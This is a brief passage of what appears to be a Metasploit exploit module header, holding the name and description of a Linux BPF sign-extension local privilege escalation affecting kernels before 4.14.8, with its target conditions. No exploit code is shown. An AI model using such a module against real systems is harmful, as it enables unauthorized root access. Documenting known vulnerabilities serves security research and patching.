'Name'           => 'Linux BPF Sign Extension Local Privilege Escalation',
'Description'    => %q{
        Linux kernel prior to 4.14.8 utilizes the Berkeley Packet Filter (BPF)
        which contains a vulnerability where it may improperly perform sign
        extension. This can be utilized to escalate privileges.

        The target system must be compiled with BPF support and must not have
        kernel.unprivileged_bpf_disabled set to 1.
